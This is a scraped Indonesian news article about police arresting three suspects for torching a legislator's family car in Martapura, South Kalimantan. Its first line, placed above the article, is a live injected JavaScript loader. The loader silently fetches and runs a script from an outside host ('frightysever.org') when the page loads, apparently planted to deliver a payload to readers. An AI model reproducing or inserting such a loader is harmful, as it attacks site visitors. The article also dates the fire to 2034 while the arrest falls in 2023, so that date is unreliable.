(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tiga tersangka pembakaran mobil Mitsubhisi Pajero yang terparkir di garasi rumah Anggota DPRD Kalsel berhasil diringkus polisi, Kamis (27/4/2023) malam.
Sebanyak tiga tersangka yakni MZ, AM, dan S diamankan di Kabupatan Hulu Sungai Tengah (HST). Peristiwa penangkapan itu dibenarkan oleh Kapolda Kalimantan Selatan Irjen Pol Andi Rian Djajadi, Kamis (27/4/2023) malam.
“Awalnya tim melakukan penyelidikan dan mendapat informasi bahwa tersangka berada di daerah Kecamatan Hantakan, Kabupaten HST,” ujar Kapolda Kalsel Irjen Pol Andi Rian Djajadi membenarkan, Kamis (27/4/2023) malam.
Tim ini ujar Kapolda, terdiri atas unit Resmob Banjar bersama Resmob Subdit III Dit Reskrimum Polda Kalsel, Unit Kamneg Dit intelkam Polda Kalsel dan Resmob polres HST.
Baca juga: Aktivis Lingkungan: Penutupan PLTU Batu Bara pada 2050 Kebijakan yang Terlambat
“Hasil penyelidikan dilanjutkan dan tim berhasil mengamankan tiga orang tersangka yakni MZ, AM, dan S,” sambungnya.
Saat penangakapan, polisi juga berhasil mengamankan barang bukti yakni satu buah pucuk senjata api organik jenis pistol yang dilengkapi dengan magazinenya.
Kemudian ada pula sebutir amunisi aktif kaliber 7,65 mm, dua bilah senjata tajam jenis pisau, dua buah flashdisk warna putih dan hitam, serta sebuah botol semprotan gas air mata merek USA Police.
Ketiga tersangka pun malam itu jua di bawa oleh polisi ke Mapolres Banjar untuk melakukan pemeriksaan lebih lanjut.
Mengenai motif dari kejadian ini, Kapolres Banjar AKBP M Ifan Hariyat T melalui Kasi Humas Polres Banjar AKP H Suwarji mengatakan hingga saat ini masih menunggu hasil pemeriksaan terhadap tersangka.
“Kita tunggu hasil pemeriksaan lebih lanjutnya,” kata Kapolres Banjar AKBP M. Ifan Hariyat T melalui Kasi Humas Polres Banjar AKP H Suwarji, Jum’at (28/4/2023) pagi.
Atas kejadian ini, ketiga tersangka akan disangkakan pasal 187 KUHPidana karena sengaja menimbulkan kebakaran.
Baca juga: Tiga Pelaku Pembakar Mobil Anggota DPRD Kalsel Dibekuk, Ini Motifnya
Diberitakan sebelumnya, pada Selasa (25/4/2034) sekitar pukul 22.30 Wita malam, mobil Mitsubishi Pajero hitam bernopol DA 7777 PU yang terparkir di garasi rumah milik Said Sofyan atau ayah dari Anggota DPRD Kalsel Jihan Hanifa terbakar.
Kejadian itu pun menggerkan warga Jalan A Yani Km 39, Gang Family RT 004 RW 004, Kelurahan Jawa, Kecamatan Martapura, Kabupaten Banjar.
Adapun diketahui pasca kejadian, polisi turut menemukan satu botol bekas air mineral berisi BBM jenis pertalite, tepatnya di dekat bagian mobil yang terbakar.
Dari peristiwa pembakaran ini juga, korban mengalami kerugian sebesar Rp300 juta rupiah. Alhasil korban pun melaporkan kejadian ini ke Polres Banjar. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
This website uses cookies.